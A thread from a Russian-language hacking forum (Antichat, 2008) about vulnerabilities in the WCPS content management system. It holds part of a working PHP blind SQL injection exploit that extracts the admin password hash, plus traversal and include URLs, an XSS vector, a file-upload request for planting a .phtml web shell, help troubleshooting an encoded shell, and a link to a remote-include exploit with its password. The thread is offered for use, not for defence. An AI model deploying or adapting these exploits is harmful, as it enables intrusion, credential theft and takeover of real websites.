ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
$results = MYSQL_QUERY("SELECT id FROM ".$wcpref."${nma}_stat WHERE lang='$portal_lang' AND da>0");
Ну и переменная $nma не фильтруется. Но к сожалению в данном случае требется register_globals=on.
Теперь перейдем к минусам. Из этого запроса нету прямого вывода, и нет вывода ошибок. А это значит что юзать нам только посимвольный перебор с помощью BENCHMARK (я представляю отвернувшиеся лица, но советую дочитать до конца).
Я согласен что эта скуля не ахти как юзабельна, но со сплоентом, пусть это занимает время, но всеже работает, да-да именно со сплоентом). Вообще я редко встречал эксплоиты подобного рода, ну чтож вот и сам сплоент:
PHP код:
<?php
/*----------------------------------------*\
Exploit for cms WCPS v 4.2.1
Blind SQL injection (use Benchmark)
Author: I-I()/Ib
\*----------------------------------------*/
//---------Основные настройки-------------//
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//
//--------Дополнительные настройки--------//
$set['retfile']=false;//true-запись в файл, false-Вывод на экран
$set['retname']='return.txt';//Имя файла для вывода
//----------------------------------------//
//----------Настройки BENCHMARK-----------//
$set['timbench']=5;//секунд для задержки создаваемой BENCHMARK-ом
$set['pmbench']=1;//погрешность в секундах
$set['cntbch']=3;//Количество запросов для определение среднего времени ответа
$set['bnzn']=99999;//Начальное значение иттераций BENCHMARK-а
//----------------------------------------//
set_time_limit(0);
ignore_user_abort(true);
function create_packet($num,$sumb,$znak,$zap=false,$column='user_pass'){
global $set,$btime;
if(!$zap){
$tmp="user WHERE IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",BENCHMARK(".$btime['bnzn'].",MD5(current_time)),'1')/*";
$tmp="nma=".urlencode($tmp);
}else{
$tmp=$zap;
}
Ну вот вышла новая версия, ну и разумеется не без уязвимостей...
[Пассивная XSS]
Уязвим скрипт php/wojs.php - вообще это очень смешно, т.к. уязвимостей в нем находили много (и даже в том же параметре (но та уязвимость уже исправлена)), но реализовать нормальную защиту авторы так и не смогли.
В прошлый раз можно было осуществить перезапись переменных и поменять значение переменной $_SERVER['HTTP_HOST'] на произвольное, теперь эта ошибка исправлена, но вот подставить в переменную $_GET['inflang'] значение на подобие ../dir нам никто не мешает. Наверное возникнет вопрос что нам это даст ведь "перемещаться" мы будем только в пределах сайта с уязвимой cms, да и к тому же символ %00 режется (не квотой, а в фильтре).
Но это решаемо:
1) Нам никто не мешает залить файл с расширением .jpg и любым содержанием (заливка через аватарки)
2) Еще авторы не учли что символ %00 нам не нужен, можно обойтись (в данном случае) символов ? (символ знака вопроса).
Почитал новости и форум на офф сайте этой cms, ну очень весело... Пару комментов для автора этого чуда:
Код:
продвинутому хакеру отсутствие версии это только чуть чуть задержит опредиление что делать, обычно последняя еще не взломана.
Нет это как раз не обычно.
Код:
Вот уязвимости надо убирать.
Код:
Рано или поздно мы вычистим все баги
Ога убери их на х@@ =))
Мне всегда казалось что их надо исправлять, а еще лучше кодить так что бы в одном скрипте не было по несколько бажных кусков, только для этого нужен мозг...
Код:
Вышел новый апдейт с 4.3 до 4.3.1
Апдейт обязателен, т.к. связан с безопасностью
ИЗМЕНЕНИЯ:
1) Устранена ошибка 404
Убило. Что больше нет ошибки 404? Типа существуют все страницы? Очень привликательное изменение.
__________________
Кто я?..
Последний раз редактировалось Grey; 17.02.2008 в 22:15..
Решил вот еще багу выложить, хотел новой версии дождаться но видимо админу там пох на баги. Чтож с данного момента эта цмс может официально называться самой бажной так как в ней присутствуют все основные типы багов.
Вообщем что можно выжать полезного:
Код:
http://test2.ru/?nma=index&fla=../../admin/default/index
(инклудим вывод конфигурации системы...)
http://test2.ru/?nma=index&fla=../../admin/default/loads
(инклудим вывод модулей пыха)
http://test2.ru/?nma=index&fla=../../admin/info/index
(вывод всех массивов пыха)
http://test2.ru/?nma=index&fla=../../admin/info/index&ops=nomenu
(PHP info)
http://test2.ru/?nma=index&fla=../../inc/body
(ДДОС, скрипт инклудит сам себя до бесконечности)
$path=(getenv('OS'))?dirname(getenv('DOCUMENT_ROOT')."/x")."$nma/".$vara.$slash.$images:getenv('DOCUMENT_ROOT')."$nma/".$vara.$slash.$images;
if (!file_exists($path)){$error=0;}
Вообщем что бы выполнилось условие "if ($error)", нужно что бы файл, указанный в переменной $path, существовал.
PHP код:
if ($error){
if (@$action=='wo'){
$size=getimagesize($path);
$size[2]=$size[1]+25;
if(empty($title)){$title=strtoupper($vara)." * $images";}
echo "<TITLE>$title </TITLE>
Дальше видим что значение переменной $action должно быть "wo". Ну а дальше выходим на финишную прямую "echo "<TITLE>$title </TITLE>", в переменную $title впихиваем скрипт, а остальное оставляем без изменений.
Занятно то что $wcpsval['tip_loadimages'] мы более чем спокойно можем изменить, т.е. самим указать разрешенные расширения файлов, что даёт нам возможность закачивать любые файлы.
Я отснифал пакет с отправкой файла, получилось что то вроде этого:
POST /ajax.php?nma=user&fla=_upl&wcpsval[tip_loadimages]=phtml&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0
Теперь расширение phtml более чем правильное =)
Для удобства я написал сплоент - всё что нужно указать это куки и хост (все что делает сплоент это отправляет пакет, результат нужно смотреть самим, хоть он и пишет что шелл залит, но это может быть не так).
Подробное видео смотреть тут (размер около 4 метров):
В аттаче архив в котором Улучшенная версия сплойта (льёт более функциональный шелл) по сравнению с тем что в архиве с видео и чуть подправленное описание.
P.S. Т.к. залить файл с расширением .php нельзя из-за .htaccess который блочит пхп файлы, заливать шелл нужно в файл .phtml, но не на каждом серваке такие файлы будут обрабатываться.
P.P.S. Про удаление файлов - в видео.
Последний раз редактировалось Grey; 09.05.2008 в 01:28..
Grey, такой трабл возник, я решил проверить работоспособность шелла во второй версии сплоита, вырезал его и расшифровал, он-то нормально работает, но если не расшифровывать, а оставить как есть (т.е в том виде, в котором шелл будет лежать в /images/avatar/), то выскакивает ошибка вида:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in T:\home\localhost\2.php on line 1
Насколько я понял, ПхП не нравится наличие "\" в первой строке, если удалить оба слеша, то всё работает, но насколько я понял они нужны для маскировки кавычек...как быть?
+не могу понять, на одних и тех же сайтах первый шелл создаётся скриптом, а второй нивкакую...
Последний раз редактировалось Ollorin; 09.05.2008 в 19:13..
Причина: забыл
Grey, такой трабл возник, я решил проверить работоспособность шелла во второй версии сплоита, вырезал его и расшифровал, он-то нормально работает, но если не расшифровывать, а оставить как есть (т.е в том виде, в котором шелл будет лежать в /images/avatar/), то выскакивает ошибка вида:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in T:\home\localhost\2.php on line 1
Насколько я понял, ПхП не нравится наличие "\" в первой строке, если удалить оба слеша, то всё работает, но насколько я понял они нужны для маскировки кавычек...как быть?
Если тебе нужен этот шелл что бы просто юзать, то вот он - (смотреть аттач).
В сплоенте в бейс64 я его закинул только для того что бы не экранировать большое количество кавычек, а так надо всего две. Слеши нужны только в сплоенте, т.к. там нужно экранировать эти кавычки. Если ты, зачем то, хочешь юзать шелл закинутый в бейс64, как в сплойте, то, когда вытащишь его из сплойта, просто убери слеши - они нужны только для сплоента, не более.
Цитата:
Сообщение от Ollorin
+не могу понять, на одних и тех же сайтах первый шелл создаётся скриптом, а второй нивкакую...
Тут уж смотри по мелочам - может ты во второй сплойт забываешь вписывать куки и адрес сайта. Или случайно что то изменил в нём - я его тестил и косяков не обнаружил.
P.S. проверь личку, я тебе написал туда.
Последний раз редактировалось Grey; 09.05.2008 в 19:23..
REMOTE INCLUDE WCPS v.4.4.1
Собственно возможны и более ранние версии. Интересно какая это по счету бага в этой цмс)
1. Описание
Так вот кратенькое описание баги. Уязвим файл inc/php_function.php
PHP код:
<?php
...
//Функции для слеширования всех "лишних" символов во всех переменных
//Как видно если мы объявим массив $_POST то массив $_COOKIE
//слешироваться не будет. Это мы и будем использовать ниже.
elseif ( is_array($_POST)) {
...
}
elseif ( is_array($_COOKIE)) {
...
}
...
//Так тут у нас есть SQL injection, тк переменная $op не проверяется.
@$query="SELECT name, value from ".$wcpref."information where modular='1' OR (modular='$nma' OR modular='$op' )";
if($result_info = MYSQL_QUERY($query)){
...
while ($line = MYSQL_FETCH_ROW($result_info)){
//А вот и интересная строчка. В скрипте создаются глобальные переменные
//из запроса, который мы можем модифицировать.
$$line[0]=$line[1];
...
}
}
...
//Ну а вот и инклуд.
if(!empty($_POST['set_skinlang'])){include("$portal_root/inc/set_skinlang.php");}
//Тоесть алгоритм действий такой. Мы юзаем SQL injection после чего создается
//новое значение для переменной $portal_root после чего мы сможем инклудить
//любой файл в том числе и удаленный.
//Но как видно из кода только, когда:
//magic_globals_gpc=off
//register_globals=on
...
?>
2. Exploit
Немного об принципе работы эксплойта. Эксплойт имеет веб интерфейс. И не трудно заметить он умеет работать как и в режиме Remote include так и Local include. Зачем?
Так вот ни для кого ни секрет что не везде разрешен удаленный инклуд. В таком случае эксплойт загружает на сервер с wcps аватарку которую впоследствии инклудит. Иначе он вынуждает wcps инклудить файл с другого сервера со специально составленным php кодом, благодаря чему на сервер загружается веб шелл, URL до которого вы также должны будете указать в настройках експлойта.
Вообщем в обеих случаях при удачной эксплуатации мы имеем вебшелл, прочитанный конфиг и логины/хеши админов.
Ну и собственно сам эксплоит: _http://ifolder.ru/7310117 (12кб)
Pass:dflgnrmgqwef
__________________
Кто я?..
Последний раз редактировалось I-I()/Ib; 15.08.2008 в 19:28..